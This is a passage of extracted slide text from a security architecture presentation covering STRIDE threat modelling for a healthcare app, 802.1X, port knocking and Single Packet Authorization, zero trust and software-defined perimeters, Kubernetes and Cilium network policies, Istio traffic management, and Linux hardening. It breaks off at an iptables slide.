    (DoS): DoS threats involve making the healthcare app or its services unavailable to legitimate users, disrupting normal operations. Example: An attacker could flood the healthcare app's server with traffic, overwhelming its resources and causing it to crash. Mitigations: • Implement rate-limiting and traffic management techniques to mitigate the impact of DoS attacks. • Use redundancy and load balancing to ensure the app's availability and resilience. • Monitor and analyze traffic patterns to detect and respond to potential DoS attacks.
  59. @arafkarsh arafkarsh STRIDE: Health Care App 65 Elevation of Privilege:

    Elevation of privilege threats involves attackers gaining higher privileges within the system, allowing them to perform unauthorized actions. Example: An attacker could exploit a vulnerability in the healthcare app to escalate their privileges and access sensitive data or functionalities reserved for administrators. Mitigations: • Follow the principle of least privilege, ensuring users and applications have only the minimum necessary permissions. • Regularly review and update user permissions and roles. • Perform security testing and vulnerability assessments to detect and fix potential privilege escalation vulnerabilities.
  60. @arafkarsh arafkarsh Security on Enterprise o 802.1x EAP Security o

    Port Knocking & SPA – Single Packet Authorization o Micro Segmentation / Software Defined Firewall o Zero Trust and VPNs o Service Mesh 66
  61. @arafkarsh arafkarsh IEEE 802.1x Wired / Wireless 67 Source: What

    is 802.1X? How Does it Work? https://www.securew2.com/solutions/802-1x https://standards.ieee.org/ieee/802.1X/7345/ • 802.1X is an authentication protocol to allow access to networks with the use of a RADIUS server. • 802.1X and RADIUS based security is considered the gold standard to secure wireless and wired networks. An 802.1X network is different from home networks in one major way; 1. it has an authentication server called a RADIUS Server. 2. It checks a user's credentials to see if they are an active member of the organization & 3. depending on the network policies, grants users varying levels of access to the network. This allows unique credentials or certificates to be used per user, eliminating the reliance on a single network password that can be easily stolen
  62. @arafkarsh arafkarsh 802.1x EAP Security 68 • Standard Authentication protocol

    used on encrypted networks is Extensible Authentication Protocol (EAP). • 802.1X is the standard that is used for passing EAP over wired and wireless Local Area Networks (LAN). • It provides an encrypted EAP tunnel that prevents outside users from intercepting information. The EAP protocol can be configured 1. Credential (EAP-TTLS/PAP and PEAP-MSCHAPv2) and 2. Digital Certificate (EAP-TLS) authentication and is a highly secure method for protecting the authentication process. Source: What is 802.1X? How Does it Work? https://www.securew2.com/solutions/802-1x 802.1X only includes 4 major components: 1. Client 2. Access-point/switch 3. RADIUS Server 4. Identity provider
  63. @arafkarsh arafkarsh Port Knocking 69 • Port knocking is a

    simple method to grant remote access without leaving a port constantly open. • In the following config of KnockD – the Port (8888) will be open for 10 seconds based on the correct sequence of access on ports – 7000, 8000, 9000. Source: Ubuntu Port Knocking Manual: https://help.ubuntu.com/community/PortKnocking Security by Obscurity
  64. @arafkarsh arafkarsh 32 Bit 64 Bit 32 Bit Single Packet

    Authorization 70 UID OTP Counter GMAC 128 Bit SPA = UID, CTR OTP, GMAC UID Universal ID of SDP Client CTR Hashed with seed to Create OTP OTP One Time Password: HTOP GMAC Signature of UID, CTR, OTP Seed Shared Secret for OTP Encryption Key Shared Key for GMAC (AES-256) OTP HMAC [Seed + CTR] GMAC E-Key [UID + OTP + CTR] CTR Is incremented to mitigate playback attacks = 256 SPA addresses all the limitations of Port Knocking By Default, SPA Gateway Drops All the Packets 1. Client Sends a SPA Packet 2. Gateway Receives the Packet and Decrypts Packet 3. Validates the Credentials based on protocol / port 4. If Valid, then Adds a Firewall rule to open an mTLS Connection 5. Once the Connection is established the Gateway removes the firewall rule making the service go Dark Again. o The established mTLS session will not be affected by removing the firewall rule.
  65. @arafkarsh arafkarsh Single Packet Authorization: Benefits 71 ✓ SPA Blackens

    the Gateway and all the services Behind the Gateway are invisible to the world. ✓ SPA also mitigates DDoS attacks on TLS. SDP Gateway discards the TLS DoS attack before it gets into the handshake. ✓ The First packet to the Gateway must be a SPA Packet. Any other packet will be viewed as an Attack this helps in attack detection. Source: https://network-insight.net/2019/06/zero-trust-single-packet-authorization-passive-authorization/
  66. @arafkarsh arafkarsh Perimeter Security Vs. Zero Trust 72 Zero Trust

    Security Model Classic Security Model Perimeter Security • Location Based (External / Internal) • Anyone inside the network is always trusted. • Based on Layered Security Never Trust, Always Verify 1 Implement Least Privilege 2 (Always) Assume Breach 3 Forrester's John Kindervag 2010: No More Chewy Centers: Introducing The Zero Trust Model Of Information Security Inspired from Jericho Forum Commandments v1.2 May 2007 Source: Microsoft: Jericho & Modern Security Restrict everything to a secure Network Zero Trust Protect Assets anywhere with Central Policy
  67. @arafkarsh arafkarsh Zero Trust: Access Management 73 • Least Privilege

    • Every Access is limited to a specific user, device, and app or resource only • Centralized • Policies are centralized across common IT Systems • Policies are defined by Business Team (Support from IT) Source: RSA Conference. Mar 17, 2019: Fallacy of Zero Trust Network By Paul Simmonds • Dynamic • Access Decisions are made in real-time • Context of the Access influence the Decision • Adaptive • Open to Support new Auth Protocols • Constantly Evolving System (Machine Learning, AI)
  68. @arafkarsh arafkarsh Zero Trust: Data 74 • Adopt the Principle

    of Least Privilege • Access to the Data MUST be limited to a Specific user, device and App or Resource Only • Identify the User Persona and limit the access based on that Source: RSA Conference. Mar 17, 2019: Fallacy of Zero Trust Network By Paul Simmonds • Contextual Access Control • Data Access Policies must be defined by the Business with the support of IT • Access decisions must be made in real-time – as and when its required. • Operate Outside your Control • Business needs to interact with the outside world
  69. @arafkarsh arafkarsh Zero Trust: Network 75 • It’s Application and

    User Centric and not Infra or Technology Centric • No DMZ or VPN anymore: No Security Perimeter • All Network Sessions MUST have Authentication and Authorization • Only Secure (Encrypted) Protocols allowed on Network • More than One way to Implement Zero Trust Network • Network Micro Segmentation (Lots of Tiny Firewalls) • Software Defined Perimeter (Lots of Tiny VPN) • Identity Aware Proxy (Next Gen Web Access Management) • All of the Above Source: RSA Conference. Mar 17, 2019: Fallacy of Zero Trust Network By Paul Simmonds
  70. @arafkarsh arafkarsh Jericho: Zero Trust Fundamentals 76 JFC #4 Devices

    and applications must communicate using open, secure protocols. JFC #5 All devices must be capable of maintaining their security policy on an un-trusted network. Designed for Internet JFC #6 All people, processes, and technology must have declared and transparent levels of trust for any transaction to take place. Multiple trust attributes (user, device, location, app etc) JFC #11 By default, Data must be appropriately secured when stored, in transit, and in use. Source: Jericho Forum Commandments v1.2 May 2007: https://collaboration.opengroup.org/jericho/commandments_v1.2.pdf
  71. @arafkarsh arafkarsh Zero Trust: Micro Segmentation 78 Source: Cisco: What

    is Micro Segmentation? How does it work? • Secures App by allowing specific Application Traffic and Deny All other Traffic • Micro Segmentation is the foundation of Zero Trust Security Model Challenges in Implementing Micro Segmentation • Implement Granular Firewall Policy using Host workload Firewall • Policy Life Cycle Management • Begin at Macro Level and refine using Policy Automation Why can’t Classic Firewalls do the job? • Granular East-West Policy Controls provides Workload Perimeter • Implemented at Workload Level • Scalable across workloads • Enhances the visibility and control from workload perspective
  72. @arafkarsh arafkarsh Zero Trust: Micro Segmentation: Benefits 79 Source: Cisco:

    What is Micro Segmentation? Reduce Attack Surface Uses an allow-list model to significantly reduce this attack surface across different workload types and environments. Protect Critical Applications Gain better threat visibility and enforcement for critical workloads and applications across different platforms and environments, limiting lateral movement of a security incident from one compromised VM, service, or container to another. Achieve Regulatory Compliance Granular visibility and control over sensitive workloads demonstrate proper security and data separation to simplify audits and document compliance.
  73. @arafkarsh arafkarsh NIST 800-207: Zero Trust Architecture 80 Source: NIST

    SP 800-207:Zero Trust Architecture https://csrc.nist.gov/publications/detail/sp/800-207/final A User, An Application, or a Device – Operating on (or with) a Computer System which has access to an Enterprise Resource Subject Is an Application, Document, Data, Database, Workload that’s under the Enterprise Control protected by the Zero Trust System Resource Policy Enforcement Point Policy Engine Policy Administrator Policy Decision Point Control Plane Data Plane Resource Subject User App Device UnTrusted Trusted CDM System GRC System Threat Intelligence Activity Logs Data Access Policy PKI IAM SIEM 1 2 3
  74. @arafkarsh arafkarsh NIST 800-207: Zero Trust Architecture 81 PE –

    Policy Engine PA – Policy Administrator PEP – Policy Enforcement Point Policy Decision Point PE is responsible to grant access to a resource for a given subject. The PE uses enterprise policy as well as input from external sources (e.g., CDM systems, threat intelligence, etc) as input to a trust algorithm to grant, deny, or revoke access to the resource. Source: NIST 800-207 https://www.nccoe.nist.gov/projects/implementing-zero-trust-architecture PA is responsible for establishing and/or shutting down the communication. It would generate any session-specific auth and auth token, or credential used by a client to access an enterprise resource. PA configures the PEP to allow the session to start. If the session is denied the PA signals to the PEP to shut down the connection. PEP is responsible for enabling, monitoring, and eventually terminating connections between a subject and an enterprise resource. The PEP communicates with the PA to forward requests and/or receive policy updates from the PA.
  75. @arafkarsh arafkarsh Software Defined Firewall: Network / Micro Segmentation 82

    Network Segmentation using Software Defined Firewall Micro Segmentation using Software Defined Firewall Source: https://www.vmware.com/topics/glossary/content/network-segmentation.html
  76. @arafkarsh arafkarsh Traditional VPN Vs. Zero Trust 83 Enterprise VPN

    User System VPN Client User App VPN Server IAM WAN WAN Split Tunnel Optional Resource = Data, Documents, Apps, Services, Files etc. Relies on Shared secret and/or Shared root of Trust If Split tunneling is enabled only traffic to Enterprise will be tunneled. Zero Trust User System Agent PEP User App PEP Encrypted Tunnel Normal Traffic LAN IAM PDP PEP PEP • Dynamically adjust the Context • Multiple Entry Points • Support Remote and On Premise Resource Resource Resource Resource
  77. @arafkarsh arafkarsh Zero Trust – Security: Resource Based 84 Device

    Agent PEP Policy Decision Point ZT Aware Network IDS/IPS Control Plane Data Plane User App PEP Gateway Source: Page 183: Zero Trust Security: An Enterprise Guide by Jason Garbis, Jerry W Chapman Resource Based Deployment Model Zero Trust Deployment Models Encrypted Tunnel Data Implicit Trust Zone Zero Trust will bring changes to network segmentation and network traffic encryption patterns. Resource Resource = Data, Documents, Apps, Services, Files etc. Host IDS/IPS Host IDS/IPS ZT Aware IDS/IPS
  78. @arafkarsh arafkarsh Zero Trust – Security: Enclave Based 85 Device

    Agent PEP Policy Decision Point ZT Aware Network IDS/IPS Control Plane Data Plane User App PEP Gateway Source: Page 183: Zero Trust Security: An Enterprise Guide by Jason Garbis, Jerry W Chapman Enclave Based Deployment Model Zero Trust Deployment Models Encrypted Tunnel Data Implicit Trust Zone Zero Trust will bring changes to network segmentation and network traffic encryption patterns. Resource Enclave Resource = Data, Documents, Apps, Services, Files etc. Host IDS/IPS ZT Aware IDS/IPS Host IDS/IPS Host IDS/IPS NIDPS
  79. @arafkarsh arafkarsh Zero Trust – Security: Cloud Routed 86 Device

    PEP Policy Decision Point Control Plane Data Plane User App Cloud Routed Deployment Model Zero Trust Deployment Models Resource = Data, Documents, Apps, Services, Files etc. PEP Subject Source: Page 183: Zero Trust Security: An Enterprise Guide by Jason Garbis, Jerry W Chapman ZT Aware Network IDS/IPS Agent PEP Host IDS/IPS PEP Gateway Resource Enclave Host IDS/IPS Host IDS/IPS NIDPS Encrypted Tunnel Data Implicit Trust Zone
  80. @arafkarsh arafkarsh Zero Trust – Security: Micro Segmentation 87 Micro

    Segmentation Deployment Model Zero Trust Deployment Models Resource = Data, Documents, Apps, Services, Files etc. Source: Page 183: Zero Trust Security: An Enterprise Guide by Jason Garbis, Jerry W Chapman PEP Subject Resource Host IDS/IPS PEP Subject Resource Host IDS/IPS ZT Aware Network IDS/IPS
  81. @arafkarsh arafkarsh Secure Web Gateway 88 Content Filtering Filter Content

    by specific URL or category to ensure internet access is based on corporate policies. Scan Docs Scan all the uploaded and downloaded files for malware and other threats. File Types Block Files based on File Types Example .exe files. App Controls User access to Web Apps are controlled. For example, Uploading fille to Drop Box, Google Drive etc. Attaching file to Gmail and Posting to Social Media sites. Metrics Detailed Reporting on User, Device, URLs accessed, network Identity and Allow or Block Actions.
  82. @arafkarsh arafkarsh Forrester: Zero Trust eXtended (ZTX) 89 Forrester Zero

    Trust extended Ecosystem: Aug 11, 2020 Zero Trust Strategy Zero Trust Capability Zero Trust Technology Zero Trust Feature Goal is to evolve towards a Zero Trust Architecture or Encrypt all Sensitive Data For Ex. Data Security Security teams need the ability to inventory, classify, obfuscate, archive, or delete data according to policy Ask “What capabilities does this technology support and where does it specifically plug into my team’s Zero Trust strategy?”
  83. @arafkarsh arafkarsh Cloud Access Security Broker (CASB) 90 o CASB

    is the bridge between Cloud Service Consumers and Cloud Service Providers to combine and interject enterprise security Policies as the cloud-based resources are consumed. o They combine multiple types of Security Policy Enforcement Systems like Authentication, Single Sign-On, Authorization, Credential Mapping, Device Profiling, Encryption, Tokenization, Malware detection / prevention etc. Visibility Compliance Threat Prevention Data Security Source: Garnet CASB Definition
  84. @arafkarsh arafkarsh Gartner: CARTA: 7 Core Areas 91 Continuous Adaptive

    Risk and Trust Assessment approach Source: Gartner 2018 Replace one-time security gates with Context Aware, Adaptive & Programmable Security Platforms 1 Continuously Discover, Monitor, Assess and Prioritize Risk – Proactively and Reactively 2 Perform Risk and Trust Assessment Early in Digital Business Initiatives 3 Instrument Infrastructure for Comprehensive, full stack Risk Visibility, Including Sensitive Data Handling 4 Use Analytics, AI, Automation and Orchestration to speed the time to detect and respond to scale 5 Architect Security as an Integrated, Adaptable Programmable System, and not Silos 6 Put Continuous Data Driven Risk Decision making and Risk Ownership into BU’s and product owners 7
  85. @arafkarsh arafkarsh Software Defined Perimeter – Context 92 o Classic

    Network Design creates fixed Perimeter to divide the External Network with Internal Network o Using Routers, Firewalls, and other access control devices. o The concept of Classic Network is based on visibility and accessibility. 1. Today’s network is fluid with Hybrid clouds, IaaS, PaaS, SaaS, IoT, etc., all with multiple entry points. 2. This is further complicated by Contractors, Remote/Mobile Users, BYOD etc. ✓ These conditions gives rise to Software Defined Perimeter instead of a traditional Fixed Perimeter Cloud Security Alliance: May 27, 2020: SDP and Zero Trust
  86. @arafkarsh arafkarsh Software Defined Perimeter 93 • SDP abstracts and

    hides internet connected infrastructure (Routers, Servers etc.) irrespective of infra is On-Premise or Cloud. • SDP Secures the user, application and the connectivity. • Instead of traditional hardware-based perimeter setup, SDP is completely software driven. • VPN Connects the users to the Network using a simple authentication • While SDP allows the users to connect to the required resource using real-time contextual risk assessment to determine user access. According to Gartner more than 60% of Enterprises moved away from VPN by 2021 Cloud Security Alliance: May 27, 2020: SDP and Zero Trust
  87. @arafkarsh arafkarsh Software Defined Perimeter – Principles 94 1. Separation

    of Control Plane and Data Plane. User, Devices etc access is controlled using Control Plane. SDP Controller handles the control plane. 2. Separation of logical and physical Components. The Connection between hosts are virtualized using overlay tunnels. 3. Authenticating the Hosts. Only authorized systems/services allowed to communicate. 4. Validating the Hosts against a set of policies. Checking for absence of Malwares, allowed applications, business policies such as time of the day, checking external Threat Intelligence Database. Source: IEEE Software-Defined Perimeters: An Architectural View of SDP SDP is not a replacement for existing solutions, it augments the existing solutions such as SDN.
  88. @arafkarsh arafkarsh Software Defined Perimeter: Architecture 95 Cloud Security Alliance:

    May 27, 2020: SDP and Zero Trust Policy Enforcement Point SDP Gateway SDP Controller Policy Decision Point Control Plane Data Plane Resource Subject User App Device SDP Client Source: https://cloudsecurityalliance.org/artifacts/sdp-architecture-guide-v2/ IH: Initiating Host Control Messages Data SDP requires 2 Security modules 1. mTLS 2. SPA AH AH: Accepting Host The model depicted below is Similar to Enclave Resource model from NIST 800-207 Architecture. NIST team defined that based on Cloud Security Alliance SDP Architecture.
  89. @arafkarsh arafkarsh SDP – Secure Communications 96 mTLS – Mutual

    Transport Layer Security SPA – Single Packet Authorization • Both Client and Server need to validate the certificate • Expect Mutual Root Certificates for Client & Server • Avoids Man in the Middle Attack HOTP: An HMAC-Based One-Time Password Algorithm Authenticate before Connect • Default Policy in SDP Gateway is Drop All Packets • Based on RFC 4226: HOTP • SPA happens before TLS Connection • For Valid Connections Firewall rule is created for mTLS connection
  90. @arafkarsh arafkarsh SASE: Secure Access Service Edge 97 Created by

    Gartner: Six Core Technologies of SASE Network Security SASE SD-WAN ZTNA Zero Trust Network Access SWG Secure Web Gateway CASB Cloud Access Security Broker FWaaS Firewall as a Service DNS Security
  91. @arafkarsh arafkarsh SASE: Overview 98 o Users o Devices o

    Locations o Public Cloud o Data Center o Edge Identity Context Consistent Network & Security Policy SASE Cloud Infrastructure WAN Edge Infrastructure / Services Security Services Edge Threat Awareness Sensitive Data Awareness Entities Anywhere Resources Everywhere Zero Trust Access Consistent User Experience Source: Gartner 2021 Strategic Roadmap for SASE Convergence, March 25, 2021By Neil MacDonald, Nat Smith, Lawrence Orans, Joe Skorupa
  92. @arafkarsh arafkarsh Key Takeaways 99 • NIST Secure Software Development

    Framework • SANS Cloud Security Architecture • Security Quality Assurance / SQUARE Framework • Secure Design Patterns • Threat Modeling • Enterprise Security (Zero Trust, SDN, SDP)
  93. @arafkarsh arafkarsh 2 Secure SDLC o Security Policies / Kubernetes

    Policies o Service Mesh o Server Hardening 100
  94. @arafkarsh arafkarsh K8s Network Policies – L3 / L4 103

    Source: https://github.com/meta-magic/kubernetes_workshop Allow All Inbound Allow All Outbound endPort for Range of Ports
  95. @arafkarsh arafkarsh K8s Network Policies L3/L4 104 Kubernetes blocks the

    Product UI to access Database or Product Review directly. You can create Network policies across name spaces, services etc., for both incoming (Ingress) and outgoing (Egress) traffic. Product UI Pod Product UI Pod Product UI Pod Product Pod Product Pod Product Pod Review Pod Review Pod Review Pod MySQL Pod Mongo Pod Order UI Pod Order UI Pod Order UI Pod Order Pod Order Pod Order Pod Oracle Pod Blocks Access Blocks Access
  96. @arafkarsh arafkarsh Network Security Policy for Microservices 105 Product Review

    Microservice Product Microservice L3 / L4 L7 – API GET /live GET /ready GET /reviews/{id} POST /reviews PUT /reviews/{id} DELETE /reviews/{id} GET /reviews/192351 Product review can be accessed ONLY by Product. IP Tables enforces this rule. Exposed Exposed Exposed Exposed Exposed All other method calls are also exposed to Product Microservice. iptables –s -p tcp –dport 80 -j accept
  97. @arafkarsh arafkarsh Network Security Policy for Microservices 106 Product Review

    Microservice Product Microservice L3 / L4 L7 – API GET /live GET /ready GET /reviews/{id} POST /reviews PUT /reviews/{id} DELETE /reviews/{id} GET /reviews/192351 Rules are implemented by BPF (Berkeley Packet Filter) at Linux Kernel level. From Product Microservice only GET /reviews/{id} allowed. BPF / XDP performance is much superior to IPVS. Except GET /reviews All other calls are blocked for Product Microservice
  98. @arafkarsh arafkarsh Cilium Network Policy 107 1. Cilium Network Policy

    works in sync with Istio in the Kubernetes world. 2. In Docker world Cilium works as a network driver and you can apply the policy using ciliumctl. In the previous example with Kubernetes Network policy you will be allowing access to Product Review from Product Microservice. However, that results in all the API calls of Product Review accessible by the Product Microservice. Now with the New Policy only GET /reviews/{id} is allowed. These Network policy gets executed at Linux Kernel using BPF. Product Microservice can access ONLY GET /reviews from Product Review Microservice User Microservice can access GET /reviews & POST /reviews from Product Review Microservice
  99. @arafkarsh arafkarsh BPF / XDP (eXpress Data Path) 108 Network

    Driver Software Stack Network Card BPF Regular BPF (Berkeley Packet Filter) mode Network Driver Software Stack Network Card BPF XDP allows BPF program to run inside the network driver with access to DMA buffer. Berkeley Packet Filters (BPF) provide a powerful tool for intrusion detection analysis. Use BPF filtering to quickly reduce large packet captures to a reduced set of results by filtering based on a specific type of traffic. Source: https://www.ibm.com/support/knowledgecenter/en/SS42VS_7.3.2/com.ibm.qradar.doc/c_forensics_bpf.html
  100. @arafkarsh arafkarsh XDP (eXpress Data Path) 109 BPF Program can

    drop millions packet per second when there is DDoS attack. Network Driver Software Stack Network Card BPF Drop Stack Network Driver Software Stack Network Card BPF Drop Stack LB & Tx BPF can perform Load Balancing and transmit out the data to wire again. Source: http://www.brendangregg.com/ebpf.html
  101. @arafkarsh arafkarsh Kubernetes Container Network Interface 110 Container Runtime Container

    Network Interface Weave Calico Romana Cilium Flannel Layer 3 BGP BGP Route Reflector Network Policies IP Tables Stores data in Etcd Project Calico Layer 3 VXLAN (No Encryption) IPSec Overlay Network Host-GW (L2) Stores data in Etcd https://coreos.com/ Layer 3 IPSec Network Policies Multi Cloud NW Stores data in Etcd https://www.weave.works/ Layer 3 L3 + BGP & L2 +VXLAN IPSec Network Policies IP Tables Stores data in Etcd https://romana.io/ Layer 3 / 7 BPF / XDP L7 Filtering using BPF Network Policies L2 VXLAN API Aware (HTTP, gRPC, Kafka, Cassandra… ) Multi Cluster Support https://cilium.io/ BPF (Berkeley Packet Filter) – Runs inside the Linux Kernel On-Premise Ingress Load Balancer Mostly Mostly Yes Yes Yes
  102. @arafkarsh arafkarsh Service Mesh: Istio Security 112 Source: https://istio.io/docs/concepts/security/ It

    provide strong identity, powerful policy, transparent TLS encryption, and authentication, authorization and audit (AAA) tools to protect your services and data. The goals of Istio security are • Security by default: no changes needed for application code and infrastructure • Defense in Depth: integrate with existing security systems to provide multiple layers of Defense • Zero-trust network: build security solutions on untrusted networks
  103. @arafkarsh arafkarsh Service Mesh: Micro Segmentation 114 Source: Istio: Micro-Segmentation

    with Istio Authorization https://istio.io/latest/blog/2018/istio-authorization/ • Authorization at different levels of granularity, including namespace level, service level, and method level. • Service-to-service and end-user-to-service authorization. • High performance, as it is enforced natively on Envoy. • Role-based semantics, which makes it easy to use. • High flexibility as it allows users to define conditions using combinations of attributes.
  104. @arafkarsh arafkarsh Istio Security Policy for Microservices 115 Product Review

    Microservice Product Microservice L3 / L4 L7 – API GET /live GET /ready GET /reviews/{id} POST /reviews PUT /reviews/{id} DELETE /reviews/{id} GET /reviews/192351 Rules are implemented by BPF (Berkeley Packet Filter) at Linux Kernel level. From Product Microservice only GET /reviews/{id} allowed. BPF / XDP performance is much superior to IPVS. Except GET /reviews All other calls are blocked for Product Microservice
  105. @arafkarsh arafkarsh Request Authentication 120 • kty: Key type, can

    be RSA or ECDSA. • e: The exponent for a standard to a public key. • n: The modulus for a standard to a public key. • alg: Specifies the algorithm intended to be used with the key. • kid: The unique identifier for the key.
  106. @arafkarsh arafkarsh Service Mesh: Micro Segmentation 121 Source: Istio: Micro-Segmentation

    with Istio Authorization https://istio.io/latest/blog/2018/istio-authorization/ • Authorization at different levels of granularity, including namespace level, service level, and method level. • Service-to-service and end-user-to-service authorization. • High performance, as it is enforced natively on Envoy. • Role-based semantics, which makes it easy to use. • High flexibility as it allows users to define conditions using combinations of attributes.
  107. @arafkarsh arafkarsh Istio – Traffic Management • Gateway • Virtual

    Service • Destination Rule • Service Entry 122
  108. @arafkarsh arafkarsh Kubernetes & Istio - Kinds 124 # Kubernetes

    # Istio Kinds Description 1 Ingress 1 Gateway Exposes Ports to outside world 2 Virtual Service Traffic Routing based on URL path 3 Destination Rule Traffic Routing based on Business Rules 2 Service 4 Service Entry External Service Definition 3 Service Account 4 Network Policy 5 Peer Authentication Enables mTLS across Mesh, Namespace etc. 6 Request Authentication Authenticates using JWTs 7 Authorization Policy More granular Network/Security Policies
  109. @arafkarsh arafkarsh Istio – Traffic Management 125 Virtual Service Gateway

    Destination Rule Routing Rules Policies • Match • URI Patterns • URI ReWrites • Headers • Routes • Fault • Fault • Route • Weightages • Traffic Policies • Load Balancer Configures a load balancer for HTTP/TCP traffic, most commonly operating at the edge of the mesh to enable ingress traffic for an application. Defines the rules that control how requests for a service are routed within an Istio service mesh. Configures the set of policies to be applied to a request after Virtual Service routing has occurred. Source: https://github.com/meta-magic/kubernetes_workshop
  110. @arafkarsh arafkarsh Gateway 126 Gateway describes a load balancer operating

    at the edge of the mesh receiving incoming or outgoing HTTP/TCP connections. The Gateway specification above describes the L4-L6 properties of a load balancer.
  111. @arafkarsh arafkarsh Gateway with multiple sub domains 127 In this

    Gateway configuration sets up a proxy to act as a load balancer exposing • port 80 and • 443 (https), for ingress. Multiple Sub-domains are mapped to the single Load Balancer IP Address. TLS Termination is done using product-credential (secret)
  112. @arafkarsh arafkarsh Destination Rule 129 Configures the set of policies

    to be applied to a request after Virtual Service routing has occurred.
  113. @arafkarsh arafkarsh Service Entry 130 MESH_EXTERNAL Signifies that the service

    is external to the mesh. Typically used to indicate external services consumed through APIs. MESH_INTERNAL Signifies that the service is part of the mesh. A service entry describes the properties of a service • DNS name, • VIPs (Virtual IPs) • ports, protocols • endpoints
  114. @arafkarsh arafkarsh Shopping Portal – Docker / Kubernetes 131 /ui

    /productms /productreview Load Balancer Ingress UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 Nodes N4 N3 MySQL Pod N4 N3 N1 Kubernetes Objects Firewall Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop
  115. @arafkarsh arafkarsh Shopping Portal - Istio 132 /ui /productms /productreview

    Gateway Virtual Service UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service MySQL Pod Deployment / Replica / Pod N1 N2 N2 N4 N1 N3 N4 N3 Nodes Istio Sidecar Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall istiod Istio Control Plane Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop
  116. @arafkarsh arafkarsh Shopping Portal 133 /ui /productms /productreview Gateway Virtual

    Service UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 MySQL Pod N4 N3 N1 N4 N3 Nodes Istio Sidecar - Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall UI Pod N5 v1 v2 Stable / v1 Canary v2 User X = Canary Others = Stable A / B Testing using Canary Deployment Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop Istio Control Plane istiod
  117. @arafkarsh arafkarsh Shopping Portal 134 /ui /productms /productreview Gateway Virtual

    Service UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 MySQL Pod N4 N3 N1 N4 N3 Nodes Istio Sidecar - Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall UI Pod N5 v1 v2 Stable / v1 Canary v2 10% = Canary 90% = Stable Traffic Shifting Canary Deployment Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop Istio Control Plane istiod
  118. @arafkarsh arafkarsh Shopping Portal 135 /ui /productms /productreview Gateway Virtual

    Service UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 MySQL Pod N4 N3 N1 N4 N3 Nodes Istio Sidecar - Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall UI Pod N5 v1 v2 Stable / v1 Canary v2 100% = v2 Blue Green Deployment Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop Istio Control Plane istiod
  119. @arafkarsh arafkarsh Shopping Portal 136 /ui /productms /productreview Gateway Virtual

    Service UI Pod UI Pod UI Pod UI Service Product Pod Product Pod Product Pod Product Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 MySQL Pod N4 N3 N1 N4 N3 Nodes Istio Sidecar - Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall UI Pod N5 v1 v2 Stable / v1 Canary v2 100% = Stable Mirror = Canary Mirror Data Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop Istio Control Plane istiod
  120. @arafkarsh arafkarsh Circuit Breaker Pattern 137 /ui /productms If Product

    Review is not available Product service will return the product details with a message review not available. Reverse Proxy Server Ingress Deployment / Replica / Pod Nodes Kubernetes Objects Firewall UI Pod UI Pod UI Pod UI Service N1 N2 N2 EndPoints Product Pod Product Pod Product Pod Product Service N4 N3 MySQL Pod EndPoints Internal Load Balancers Users Routing based on Layer 3,4 and 7 Review Pod Review Pod Review Pod Review Service N4 N3 N1 Service Call Kube DNS EndPoints
  121. @arafkarsh arafkarsh Destination Rule 138 Configures the set of policies

    to be applied to a request after Virtual Service routing has occurred.
  122. @arafkarsh arafkarsh Shopping Portal: 139 /ui /productms /productreview Gateway Virtual

    Service UI Pod UI Pod UI Pod UI Service Review Pod Review Pod Review Pod Review Service Deployment / Replica / Pod N1 N2 N2 MySQL Pod N4 N3 N1 N4 N3 Nodes Istio Sidecar - Envoy Destination Rule Destination Rule Destination Rule Load Balancer Kubernetes Objects Istio Objects Firewall v1 Fault Injection Delay = 7 Sec Abort = 10% Fault Injection Product Pod Product Pod Product Pod Product Service Service Call Kube DNS EndPoints EndPoints EndPoints Internal Load Balancers Source: https://github.com/meta-magic/kubernetes_workshop Istio Control Plane istiod
  123. @arafkarsh arafkarsh Fault Injection 140 Introducing an artificial Delay of

    7 second & Abort 10% of traffic. It’s a best practice to have all the rules for the (product) microservice in a single Virtual Service.
  124. @arafkarsh arafkarsh Hardening the Server o Linux / Apache /

    Tomcat Server o PostgreSQL / MySQL o MongoDB / Redis 141
  125. @arafkarsh arafkarsh Linux Hardening 142 1. Minimize Software to Reduce

    Vulnerability: Install only the necessary necessary packages, services, and libraries. 2. Keep System Updated: Regularly apply patches and updates to your system to mitigate known vulnerabilities. 3. Limit User and File Permissions: Only give users and processes the permissions they absolutely need (principle of least privilege). 4. Enable a Firewall: Utilize a firewall like iptables or ufw to restrict unwanted incoming and outgoing network traffic. 5. Use Security Enhancements: Enable security modules like SELinux or AppArmor which enforce access control policies.
  126. @arafkarsh arafkarsh Linux Hardening – iptables 143 • -F: The

